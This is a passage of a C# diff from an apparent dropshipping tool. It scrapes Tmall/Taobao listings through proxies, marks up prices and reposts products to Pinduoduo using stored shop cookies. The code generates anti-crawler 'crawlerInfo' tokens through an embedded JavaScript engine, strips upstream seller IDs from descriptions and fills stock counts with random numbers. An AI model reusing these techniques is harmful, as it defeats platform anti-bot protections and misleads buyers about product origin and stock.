f.GetMainCatId(p.Cat1); + p.MainCatName = f.MainCatName; + p.MainImage = CollectKeywordByTaobao.MainImageCut; + p.Keyword = keyword; + p.Titlte = title; + if (string.IsNullOrEmpty(fromType)) + { + p.FromType = "淘宝"; + } + else + { + p.FromType = fromType; + } + if (ke != null) + { + p.Title = ""; + p.TaoKeId = ke.TaoKeId; + p.TaoKeUrl = ke.TaoKeUrl; + p.toId = ke.toId; + p.taoBaoUrl = ke.taoBaoUrl; + p.quanHou = ke.quanHou; + p.yuanPrice = ke.yuanPrice; + p.xiaoLiang = ke.xiaoLiang; + p.yongJin = ke.yongJin; + p.youHuei = ke.youHuei; + } + if (meiLiZheProduct != null) + { + p.Title = meiLiZheProduct.ProductName; + p.MeiLiZheId = meiLiZheProduct.ProductId; + p.MeiLiZheUrl = meiLiZheProduct.Url; + + p.yuanPrice = meiLiZheProduct.PriceStr; + p.quanHou = meiLiZheProduct.PriceWidthTicketStr; + p.youHuei = meiLiZheProduct.TicketPriceStr; + + p.FromId = meiLiZheProduct.TaobaoId; + p.taoBaoUrl = meiLiZheProduct.SourceUrl; + p.xiaoLiang = meiLiZheProduct.SaleCount.ToString(); + } + + int id = cat4 > 0 ? p.Cat4 : p.Cat3; + int cid = PinduoduoCatList.GetNewCat3(id); + if (cid != id && PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + p.CatId = ci.id; + p.Cat1 = ci.cat1; + p.Cat2 = ci.cat2; + if (ci.cat3 == 0) + { + foreach (KeyValuePair c3 in PinduoduoCatList.CatIds) + { + if (c3.Value.cat2 == ci.cat2 && c3.Value.cat3 > 0) + { + ci.cat3 = c3.Value.cat3; + break; + } + } + } + p.Cat3 = ci.cat3; + if (ci.cat4 == 0 && ci.cat3 > 0) + { + foreach (KeyValuePair c4 in PinduoduoCatList.CatIds) + { + if (c4.Value.cat3 == ci.cat3 && c4.Value.cat4 > 0) + { + ci.cat4 = c4.Value.cat4; + break; + } + } + } + p.Cat4 = ci.cat4; + p.MainCatId = ci.main_cat_id; + } + p.MainCatId = f.GetMainCatId(p.Cat1); + p.MainCatName = f.MainCatName; + + if (p.MainCatId == 0 || CollectKeywordByTaobao.MainCatId > 0 && CollectKeywordByTaobao.MainCatId != p.MainCatId) + { + return; + } + + + CollectKeywordByTaobao.Product.Add(p); + CollectKeywordByTaobao.ProductTemp.Add(p); + if (CollectKeywordByTaobao.AutoAdd) + { + UploadPinduoduoMain.ProductStock.Add(p); + UploadPinduoduoMain.AddToDataBase(p); + } + LogSave.Add(Name, "关键词:" + keyword + " 分页:" + j + " " + title); + } + } + public class ProductResurBase + { + public long FromId = 0; + public string FormShopName = ""; + public long GoodId = 0; + public string ShopName = ""; + public string Title = ""; + public string Status = ""; + } + + public class PromPlan + { + public long planName = 0; + public string goodName = ""; + public long goodId = 0; + public string shopName = ""; + public string title = ""; + public string status = ""; + } + + + public class TaobaoProductBase + { + public ProductCollectBase pcb = null; + public string Keyword = ""; + public long FromId = 0; + public long FromIdBak = 0; + public decimal Price = 0; + public int SaleCount = 0; + public int Pv = 0; + public string Titlte = ""; + public int Cat1 = 0; + public int Cat2 = 0; + public int Cat3 = 0; + public int Cat4 = 0; + public int CatId = 0; + public int AddPrice = 0; + public int MainImage = 0; + public int MainCatId = 0; + public int UserTimes = 0; + public string UseShopName = ""; + public string MainCatName = ""; + public string reason = ""; + public string country = ""; + public string logisticsTime = ""; + /// + /// 是否使用 + /// + public bool Uped = false; + public bool Error = false; + /// + /// 是否生成 + /// + public bool Build = false; + public bool OffLine = false; + /// + /// 按照分类匹配过了 + /// + public bool CatSame = false; + public long PinId; + public long GoodsId; + public long GoodsSn; + public long MailId; + public string FromType = ""; + public string Message = ""; + public string Delete = ""; + public string Arrange = ""; + public bool Active = false; + public string ShopName = ""; + public string AddTime = ""; + public string UpTime = ""; + public string guid = Guid.NewGuid().ToString(); + public int favcnt = 0; + public int FindTimes = 0; + //大淘客 + public string Title = ""; + public long TaoKeId = 0; + public string TaoKeUrl = ""; + public long toId = 0; + public string taoBaoUrl = ""; + public string quanHou = ""; + public string yuanPrice = ""; + public string xiaoLiang = ""; + public string yongJin = ""; + public string youHuei = ""; + // 美丽折 + public string MeiLiZheId = ""; + public string MeiLiZheUrl = ""; + //多多进宝 + public long jinbaoCount = 0; + public long jinbaoAmount = 0; + //虚假相关Id + /// + /// 4 京东 5苏宁 6微店 + /// + public string ViGoodsName = ""; + public long ViGoodsId = -1; + public string ViPrice = ""; + public string ViPriceMaxMin = ""; + public int ViPriceMin = 0; + public int ViPriceMax = 0; + public int ViExpressPrice = 0; + /// + /// 容错颠倒的上家ID,首字母为0:比如2661959050 ,formId=661959052 + /// + public string TolerantFormId = ""; + public string repeatTitltId = ""; + public int FromSiteId + { + get + { + if (FromType == "拼多多" || FromType == "内部数据") + return 2; + if (FromType == "淘宝") + return 1; + if (FromType == "阿里巴巴") + return 3; + if (FromType == "淘集集") + return 4; + return 2; + } + } + public TaobaoProductBase Clone() + { + string html = JsonHelper.SerializeObject(this); + TaobaoProductBase tp = JsonHelper.DeserializeJsonToObject(html); + return tp; + } + } +} diff --git a/Work/CollectClass/DetailMobileCollect.cs b/Work/CollectClass/DetailMobileCollect.cs new file mode 100644 index 0000000..ad61e5e --- /dev/null +++ b/Work/CollectClass/DetailMobileCollect.cs @@ -0,0 +1,677 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using AllBase; +using Work.Api; +using Work.CollectClass; + +namespace Work.CollectClass +{ + public class DetailMobileCollect + { + public string Name, Content; + public bool IsUrlCollect = false, Pinduoduo = false; + public bool IsUpdateSku = false, ThisShopId = false; + public bool GetSuccess = false, NoTemp = false, Delete = false, NoContent = false, IsDown = false, IsExist = true, NoUpToServer = false; + public static bool LastError = false; + public decimal BeforePrice = 0, MinPrice = 0, MaxPrice = 0; + //public static Dictionary ProductTemp = new Dictionary(); + + public ProductCollectBase Product; + public DetailMobileCollect(ProductCollectBase product) + { + Product = product; + } + + public void Get() + { + //if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id)) + //{ + // GetSuccess = true; + // Product = TaobaoMobileCollect.ProductTemp[Product.from_id].Clone(); + // return; + //} + GetSuccess = false; + Delete = false; + bool useTemp = false; + string urlProduct = "https://detail.m.tmall.com/item.htm?id=" + (ThisShopId ? Product.id : Product.from_id); + bool nokey = false, hadFile = false; + string content = "", newContent = ""; + string refere = ""; + //string html =NoTemp?"": TempFileReadWrite.Read(Product.id, "content", out hadFile); + //if(string.IsNullOrEmpty(html)) + // html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true); + string html = ""; + bool useUsa = false; + //if (LastError) + //{ + // LastError = false; + // html = GetHtml.ByUsa(urlProduct, true, false); + // useUsa = true; + //} + //else + //{ + //} + bool canUse; + string serverTempHtml = ServerTemp.Get(2, "main-tm-" + Product.from_id.ToString(), out canUse); + if (!canUse) + { + if (GetProxyHtml.ips != null && GetProxyHtml.ips.Count > 0) + { + html = GetProxyHtml.UploadProxyTaobao(urlProduct, refere, true, ""); + } + + if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情")) + { + html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true); + if (html.Contains("宝贝不存在")) + { + IsExist = false; + LogSave.Add(Name, "宝贝不存在:" + urlProduct); + BigDataBuild.Delete(Product.from_id, 1); + return; + } + } + if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情")) + { + html = GetHtml.ByUsa(urlProduct, true, false); + useUsa = true; + } + if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情")) + { + Thread.Sleep(10000); + html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true); + useUsa = false; + } + if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情")) + { + LastError = true; + LogSave.Add(Name, "读取页面失败:" + urlProduct); + return; + } + if (!string.IsNullOrEmpty(html) && (html.Contains("天猫商品详情") || html.Contains("expired.html?isInvalid=true") || html.Contains("\\\"已下架\\\""))) + ServerTemp.Set(2, "main-tm-" + Product.from_id.ToString(), html); + } + else + { + html = serverTempHtml; + } + + if (!string.IsNullOrEmpty(html) && + (html.Contains("expired.html?isInvalid=true") || html.Contains("\\\"已下架\\\""))) + IsDown = true; + if (string.IsNullOrEmpty(html) || html.Contains("redirectUrl") && !html.Contains("快递")) + { + LogSave.Add(Name, "宝贝已经下架:" + urlProduct); + BigDataBuild.Delete(Product.from_id, 1); + return; + } + + GetSuccess = true; + html = GetHtml.Decode(html).Replace("\\\"", "\"").Replace("\\\\", "\\"); + Product.name = BaseRegex.GetMatchRegexString(ref html, @"""item"":\{[^\}]*?""title"":""([^""]+)"""); + if (string.IsNullOrEmpty(Product.name)) + { + //BigDataBuild.Delete(Product.from_id, 1); + if (IsUpdateSku) + { + Delete = true; + LogSave.Add(Name, "上家已经删除:" + (ThisShopId ? Product.id : Product.from_id)); + } + else + { + LogSave.Add(Name, "标题获取错误:" + Product.from_url); + } + return; + } + + string pricex = BaseRegex.GetMatchRegexString(ref html, + @"""transmitPrice"":\{""priceText"":""([\d\.]+)"); + if (string.IsNullOrEmpty(pricex)) + { + pricex = BaseRegex.GetMatchRegexString(ref html, + @"""price"":\{""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)"""); + } + if (string.IsNullOrEmpty(pricex)) + pricex = BaseRegex.GetMatchRegexString(ref html, + @"""price"":\{""price"":\{""priceText"":""([\d\.]+)"); + string price_beforex = BaseRegex.GetMatchRegexString(ref html, + @"""extraPrices"":\[\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)"""); + if (string.IsNullOrEmpty(price_beforex)) + { + price_beforex = pricex; + } + if (price_beforex == "0" || string.IsNullOrEmpty(price_beforex)) + { + LogSave.Add("价格为空,退出:" + Product.from_url); + return; + } + + Product.saleCount = BaseRegex.GetIntJson(ref html, "sellCount"); + string eprice = BaseRegex.GetMatchRegexString(ref html, @"""postage"":""快递[::][\s]*([\d\.]+)"); + Product.express_price = string.IsNullOrEmpty(eprice) ? 0 : decimal.Parse(eprice); + Product.price = decimal.Parse(pricex); + MinPrice = Product.price; + MaxPrice = Product.price; + Product.num = BaseRegex.GetIntJson(ref html, "num"); + Product.from_shop_name = BaseRegex.GetStringJson(ref html, "sellerNick"); + if (Product.num == 0) + { + string num = BaseRegex.GetMatchRegexString(ref html, @"""skuCore"":[\w\W]+?""quantity"":""([\d]+)"""); + if (string.IsNullOrEmpty(num)) + num = BaseRegex.GetMatchRegexString(ref html, @"]},""skuCore"":[\w\W]+?""quantity"":([\d]+)}"); + if (!string.IsNullOrEmpty(num)) + Product.num = int.Parse(num); + } + + Product.discountPrice = decimal.Parse(pricex); + Product.before_price = decimal.Parse(price_beforex); + Product.discount = Product.discountPrice / Product.before_price;//折扣比例 + Product.onlinePrice = Product.discountPrice * Product.shopAddPercent / 100 + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100), + (int)(Product.shopAddPriceMax * 100)) / 100; + + if (IsUrlCollect) + { + Product.onlinePrice = GetOnlinePrice(Product.price); + } + + if (IsUpdateSku)//如果是更新SKU则直接跳转到SKU部分 + { + goto GetSku; + } + + string catId = BaseRegex.GetStringJson(ref html, @"categoryId"); + catId = string.IsNullOrEmpty(catId) ? BaseRegex.GetMatchRegexString(ref html, @"categoryId:([\d]+)") : catId; + Product.cat_id = int.Parse(catId); + Product.main_cid = BaseRegex.GetIntJson(ref html, @"rootCategoryId"); + Product.from_cat_id = Product.cat_id; + Product.from_site_id = 1; + if (Product.main_cid == 0) + { + LogSave.Add(Name, "没有找到主分类:" + Product.from_url); + return; + } + //===================标题过滤====================== + string title = Product.name.ToLower(); + long md5 = BaseClass.GetLong(Product.name); + + + foreach (string s in BaseClass.CantTitleKeywords) + { + if (title.Contains(s)) + { + nokey = true; + LogSave.Add(Name, s + " : " + title); + break; + } + } + foreach (string s in BaseClass.CantTitle) + { + if (title.Contains(s)) + { + nokey = true; + LogSave.Add(Name, s + " : " + title); + break; + } + } + foreach (string s in BaseClass.CantCatId) + { + if (Product.cat_id.ToString() == s || Product.main_cid.ToString() == s) + { + nokey = true; + LogSave.Add(Name, s + " : " + title); + break; + } + } + + + + string tempx = ""; + var tempmc = BaseRegex.GetMatchRegex(ref html, + @"{""component"":""mui/wpimagetext/index""[\w\W]+?""image_text""}"); + for (int i = 0; i < tempmc.Count; i++) + { + string item= tempmc[i].Groups[0].Value; + var mm = BaseRegex.GetMatchRegex(ref item, @"""img[^>]*?"":""([^>]+?)"""); + for (int j = 0; j < mm.Count; j++) + { + tempx += ""; + } + } + content = tempx; + if (string.IsNullOrEmpty(tempx)) + { + LogSave.Add(Name, "描述正文正则失败,跳过 " ); + return; + } + + + newContent = ClearContent(content); + if (string.IsNullOrEmpty(content) || string.IsNullOrEmpty(newContent)) + { + LogSave.Add(Name, "描述正文为空,跳过 " ); + return; + } + Content = newContent; + Product.content = Content; + Product.item_size = ""; + Product.item_weight = 1; + Product.state = "浙江"; + Product.city = "杭州"; + string address = BaseRegex.GetMatchRegexString(ref html, @"""delivery"":\{""from"":""([^""]+?)"""); + if (string.IsNullOrEmpty(address)) + address = BaseRegex.GetStringJson(ref html, @"location"); + string[] provice = + "上海,北京,天津,重庆,黑龙江,辽宁,内蒙古,吉林,河北,河南,山西,山东,陕西,青海,宁夏,甘肃,新疆,西藏,四川,云南,贵州,广西,湖南,湖北,安徽,江苏,浙江,广东,福建,海南,台湾,香港,澳门".Split(','); + string[] city = + "上海,北京,天津,重庆,哈尔滨,沈阳,呼和浩特,长春,石家庄,郑州,太远,济南,西安,西宁,银川,兰州,乌鲁木齐,拉萨,程度,昆明,贵阳,南宁,长沙,武汉,合肥,南京,杭州,广州,福州,海口,台北,香港,澳门".Split(','); + if (!string.IsNullOrEmpty(address)) + { + for (int i = 0; i < provice.Length; i++) + { + if (address.Contains(provice[i])) + { + Product.state = provice[i]; + Product.city = city[i]; + break; + } + } + } + + + string temp = BaseRegex.GetMatchRegexString(ref html, @",""images"":\[([^\]]+?)\]"); + if (string.IsNullOrEmpty(temp)) + { + LogSave.Add(Name, "图片错误:" + Product.from_url); + return; + } + var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+)"""); + if (m.Count == 0) + { + LogSave.Add(Name, "图片错误:" + Product.from_url); + return; + } + for (int i = 0; i < m.Count; i++) + { + Product.Images.Add(m[i].Groups[1].Value); + } + Product.image = Product.Images[0]; + Product.image_from_url = Product.Images[0]; + + temp = BaseRegex.GetMatchRegexString(ref html, @"""props"":\{[\w\W]+?""groupProps"":([\w\W]+?)\]\}]"); + if (!string.IsNullOrEmpty(temp)) + { + m = BaseRegex.GetMatchRegex(ref temp, @"\{""([^""]+)"":""([^""]+)""\}"); + if (m.Count == 0) + { + LogSave.Add("参数错误:" + Product.from_url); + return; + } + for (int i = 0; i < m.Count; i++) + { + string name = m[i].Groups[1].Value; + string value = m[i].Groups[2].Value; + if (name.Length > 50 || value.Length > 50) + continue; + Product.Prop.Add(new KeyValueBase(name, value)); + } + } + GetSku: + bool hadPrice = false; + m =BaseRegex.GetMatchRegex(ref html, + @"\{""name"":""([^""]+)"",""pid"":([\d]+),""values"":\[([\w\W]+?)\]\}"); + for (int i = 0; i < m.Count; i++) + { + PropBase p = new PropBase(); + p.id = long.Parse(m[i].Groups[2].Value); + p.name = m[i].Groups[1].Value; + p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", ""); + bool had = false; + for (int j = 0; j < Product.Props.Count; j++) + { + if (Product.Props[j].name == p.name) + { + p = Product.Props[j]; + had = true; + break; + } + } + temp = m[i].Groups[3].Value; + var mm = BaseRegex.GetMatchRegex(ref temp, @"""image"":""([^""]+?)"",""name"":""([^""]+?)"",""vid"":([\d]+?)\}"); + for (int j = 0; j < mm.Count; j++) + { + string v = mm[j].Groups[3].Value; + string vi = mm[j].Groups[0].Value; + string image = BaseRegex.GetStringJson(ref vi, "image"); + PropValueBase pr = new PropValueBase(); + pr.value = v; + pr.name = mm[j].Groups[2].Value; + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = image; + pr.image_from_url = image; + bool hadx = false; + for (int k = 0; k < p.Values.Count; k++) + { + if (p.Values[k].name == pr.name) + { + hadx = true; + break; + } + } + if (!hadx) + p.Values.Add(pr); + } + if (!had) + { + p.sort = i + 1; + Product.Props.Add(p); + } + } + if (Product.Props.Count > 2) + { + Product.Props = Product.Props.OrderBy(u => u.Values.Count).ToList(); + int count = Product.Props.Count - 2; + Product.Props.RemoveRange(0, count); + Product.Props = Product.Props.OrderByDescending(u => u.sort).ToList(); + } + m = BaseRegex.GetMatchRegex(ref html, @"""propPath"":""([-\d:;]+)"",""skuId"":([\d]+)"); + for (int i = 0; i < m.Count; i++) + { + string skuid = m[i].Groups[2].Value; + string skuValues = m[i].Groups[1].Value; + var mm = BaseRegex.GetMatchRegex(ref html, + @"""" + skuid + @""":[^\}]+?""priceText"":""([\d.]+)""[^\}]*?},""quantity"":([\d]+)\}"); + if (mm.Count == 0) + { + LogSave.Add("SKU识别错误:" + Product.from_url); + continue; + } + + string priceText = mm[0].Groups[1].Value; + decimal before_price = decimal.Parse(priceText); + decimal price = before_price; + string numberString = BaseRegex.GetMatchRegexString(ref html, + @"]},""skuCore""[\w\W]+?""" + skuid + @""":[\w\W]+?""quantity"":([\d]+)"); + int number = 0; + if (!string.IsNullOrEmpty(numberString)) + number = int.Parse(numberString); + if (number > 100) + number = 100; + string name = BuildName(skuValues); + if (string.IsNullOrEmpty(name)) + continue; + bool had = false; + for (int j = 0; j < Product.SkuMaps.Count; j++) + { + if (Product.SkuMaps[j].name == name) + { + had = true; + break; + } + } + if (had) + { + continue; + } + mm = BaseRegex.GetMatchRegex(ref html, + @"""" + skuid + @""":{""price"":{""priceMoney"":([\d.]+?),""priceText"":""([\d.]+)""}"); + if (mm.Count != 0) + { + price = decimal.Parse(mm[0].Groups[2].Value);//这是折扣后的价格 + decimal dic = before_price > 0 ? price / before_price : 1; + if (dic < Product.discount) + Product.discount = dic; + } + + + SkuMapBase sm = new SkuMapBase(); + sm.id = long.Parse(skuid); + sm.name = name; + sm.price = price; + if (MaxPrice < price) + MaxPrice = price; + if (MinPrice > price) + MinPrice = price; + sm.online_price = (int)(sm.price * Product.shopAddPercent / 100 + + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100), + (int)(Product.shopAddPriceMax * 100)) / 100); + if (!Pinduoduo && (price < BaseClass.MinPrice || price > BaseClass.MaxPrice)) + number = 0; + else + hadPrice = true; + if (IsUrlCollect) + { + sm.online_price = (int)GetOnlinePrice(sm.price); + } + sm.number = number; + sm.before_price = before_price; + sm.sale_count = 0; + Product.SkuMaps.Add(sm); + } + for (int i = 0; Product.discount < 1 && i < Product.SkuMaps.Count; i++) + { + if (Product.SkuMaps[i].number == 0) + Product.SkuMaps[i].price = Decimal.Round(Product.discount * Product.SkuMaps[i].before_price, 2); + } + try + { + if (TaobaoMobileCollect.ProductTemp.Count > 1000) + { + TaobaoMobileCollect.ProductTemp.Clear(); + } + + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id)) + TaobaoMobileCollect.ProductTemp.Add(Product.from_id, Product); + } + catch + { + } + if (!hadPrice && (Product.price < (IsUpdateSku ? BaseClass.MinPrice * 0.8m : BaseClass.MinPrice) || Product.price > BaseClass.MaxPrice)) + { + //LogSave.Add(Name, "价格太低:" + Product.from_url); + //if (IsUpdateSku) + //{ + // SetSku( 0, 0, 5); + //} + //else + //{ + // return; + //} + } + if (NoUpToServer) + return; + if (IsUpdateSku || Pinduoduo) //如果是更新上家价格,则执行此代码 + { + if (Product.cat1 == 0) + { + FromTitleToCat.UserApi = true; + FromTitleToCat ft = new FromTitleToCat(); + ft.TaobaoProduct = new TaobaoProductBase(); + ft.Title = Product.name; + ft.TaobaoProduct.Titlte = Product.name; + ft.TaobaoProduct.FromId = Product.from_id; + ft.TaobaoCatId = Product.from_cat_id; + ft.JustGetCat = true; + ft.Get(); + if (!string.IsNullOrEmpty(ft.Cat1) && ft.Cat1 != "0") + { + Product.cat1 = int.Parse(ft.Cat1); + Product.cat2 = int.Parse(ft.Cat2); + Product.cat3 = int.Parse(ft.Cat3); + Product.cat4 = int.Parse(ft.Cat4); + } + } + var ftc = new FromTitleToCat(); + Product.main_cid = ftc.GetMainCatId(Product.cat1); + Product.main_cat_name = ftc.MainCatName; + return; + } + + //淘宝大数据收集 + //string json = JsonHelper.SerializeObject(Product); + //string data = "id=" + Product.id + "&site_id=" + Product.from_site_id + "&" + UserLogin.GetSignaturex() + + // "&json=" + GetHtml.UrlEncodeUtf8(json); + //string upUrl = BaseClass.BuildObjString("upload_data"); + //html = GetHtml.PostUtf8(upUrl, data); + if (nokey)//过滤数据 + return; + if (html == "Ok" || html == "Had") + { + LogSave.Add(Name, "采集成功:" + Product.id); + } + + Product.from_title = Product.name; + } + + + + /// + /// 生成名称 + /// + /// + /// + private string BuildName(string name) + { + string temp = ""; + for (int i = 0; i < Product.Props.Count; i++) + { + for (int j = 0; j < Product.Props[i].Values.Count; j++) + { + if (name.Contains(Product.Props[i].Values[j].value)) + { + temp += Product.Props[i].name + ":" + Product.Props[i].Values[j].name + ";"; + break; + } + } + } + if (string.IsNullOrEmpty(temp)) + return ""; + return temp.Substring(0, temp.Length - 1); + } + /// + /// 网址采集计算价格 + /// + /// + /// + public decimal GetOnlinePrice(decimal price) + { + if (price < 40) + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(1500, 2000); + } + else if (price < 100) + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(2500, 3000); + } + else if (price < 200) + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(3000, 5000); + } + else + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(4000, 6000); + } + return price / 100; + } + /// + /// 获取上家ID + /// + /// + /// + public static long GetUpId(ref string content) + { + string upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#fff[^>]*>[^<]*([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*white[^>]*>[^<]*([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#ffffff[^>]*>[^<]*([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId) && content.Length > 100) + upShopId = BaseRegex.GetMatchRegexString(content.Substring(0, 100), @"[\D]([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=[\D]([\d]{11,12})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{11,12})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{6,12})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = "0"; + long up; + long.TryParse(upShopId, out up); + return up; + } + + /// + /// 清理正文 + /// + /// + /// + public static string ClearContent(string content) + { + string newContent = BaseRegex.Relpace(content, @"(]*assets\.alicdn\.com[^>]*>)", ""); + ClearTable(ref newContent); + BaseRegex.Relpace(ref newContent, @"(<[aA] [\w\W]+?)", ""); + BaseRegex.Relpace(ref newContent, @"(]*>[^<]*[\d]{10,15}[^<]*

    )", ""); + BaseRegex.Relpace(ref newContent, @"(<[^>]*#ffffff[^>]*>[^<]*[\d]{10,15}[^<]*<[^>]*>)", ""); + BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0;[\s]*height:[\s]*0;[^>]*>[\w\W]*?))", ""); + BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0px;[\s]*height:[\s]*0px;[^>]*>[\w\W]*?))", ""); + BaseRegex.Relpace(ref newContent, @"(http[\s]{0,1}://item\.taobao\.com/item\.htm\?id=[\d]+)", ""); + newContent = newContent.Replace("

     

    ", ""); + if (!newContent.Contains(" + /// 清除表格广告代码 + /// + /// + /// + public static void ClearTable(ref string html) + { + if (string.IsNullOrEmpty(html)) + return; + + int i = html.IndexOf(" 0 && i >= 0) + { + end = html.IndexOf("= 0 && (t1 < t2 || t2 < 0)) + i = t1; + if (t2 >= 0 && (t2 < t1 || t1 < 0)) + i = t2; + + } + string re = html.Substring(first, end - first + 8); + if (re.Contains("
    chacheDic = new Dictionary(); + + public int onSaleHour = 0; + public int offSaleHour = 0; + public string delTitle = ""; + public static long endAdvanceTime = 0; + public long arrangePid = 0; + public long minPrice = 0; + public long maxPrice = 0; + public string arrangeGoodName = ""; + public List goodIds = new List(); + public List keywordxs = new List(); + public delegate void delegateMessage(string message); + public static delegateMessage del; + public static bool NoPrce = false; + public static List arrangeStatusList = new List(); + public static List autoStatusList = new List(); + public static List delGroupStatusList = new List(); + + + public GetProductOnlineClass(string name, ShopChatBase shop) + { + Name = name; + Shop = shop; + } + + + + /// + /// 获取在线商品禁售 + /// + public void GetPromotionPlan() + { + + UploadPinduoduoMain.PromotionPlanList.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/venus/api/adPlan/canCreatePlan"; + string refere = "https://mms.pinduoduo.com/exp/searchpromotion/create"; + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(000000, 999999); + string codex = ""; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + string data = "{\"mallId\":" + mallId + ",\"planName\":\"" + randx + "\",\"sceneType\":0,\"crawlerInfo\":\"#codex#\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#codex#", codex), cookies); + + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + + url = "https://mms.pinduoduo.com/venus/api/subway/goods/mall/goods"; + data = "{\"mallId\":" + mallId + ",\"orderBy\":0,\"pageNumber\":#pageNum#,\"pageSize\":100,\"sortBy\":0,\"crawlerInfo\":\"#codex#\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#codex#", codex).Replace("#pageNum#", "1"), cookies); + + int allCount = BaseRegex.GetIntJson(ref html, "total"); + + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + + + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + + if (i != 0) + { + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#codex#", codex).Replace("#pageNum#", (i + 1).ToString()), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#codex#", codex).Replace("#pageNum#", (i + 1).ToString()), cookies); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data.Replace("#codex#", codex).Replace("#pageNum#", (i + 1).ToString()), cookies); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.GoodsId = BaseRegex.GetLongJson(ref list, "goodsId"); + int catId = BaseRegex.GetIntJson(ref list, "catId"); + p.CatId = catId; + p.Titlte = BaseRegex.GetStringJson(ref list, "goodsName"); + p.MailId = mallId; + p.ShopName = Shop.ShopName; + p.Price = BaseRegex.GetLongJson(ref list, "minGroupPrice"); + if (p.GoodsId == 0) + continue; + UploadPinduoduoMain.PromotionPlanList.Add(p); + //UploadPinduoduoMain.PromotionPlanTempList.Add(p); + } + Thread.Sleep(300); + LogSave.Add(Name, "获取推广产品 " + shopName + ",分页:" + i); + } + int planId = 0; + for (int i = 0; i < goodIds.Count; i++) + { + var goodInfo = UploadPinduoduoMain.PromotionPlanList.Find(s => s.GoodsId == long.Parse(goodIds[i])); + if (goodInfo == null) + continue; + if (UploadPinduoduoMain.dicPlan.ContainsKey(goodInfo.GoodsId)) + { + PromPlan planx = new PromPlan(); + planx.planName = randx; + planx.goodId = goodInfo.GoodsId; + planx.goodName = goodInfo.Titlte; + planx.status = "该商品在计划中" + UploadPinduoduoMain.dicPlan[goodInfo.GoodsId] + "被使用过"; + UploadPinduoduoMain.PromPlanList.Add(planx); + LogSave.Add(Name, "商品" + goodInfo.GoodsId + "推广计划失败"); + continue; + } + + if (i >= 20) + break; + using (IJsEngine jsEngine = new V8JsEngine()) + { + jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms); + codex = jsEngine.CallFunction("aaa", "").ToString(); + } + + url = "https://mms.pinduoduo.com/venus/api/subway/keyword/recommend"; + refere = "https://mms.pinduoduo.com/exp/searchpromotion/create"; + data = "{\"goodsId\":" + 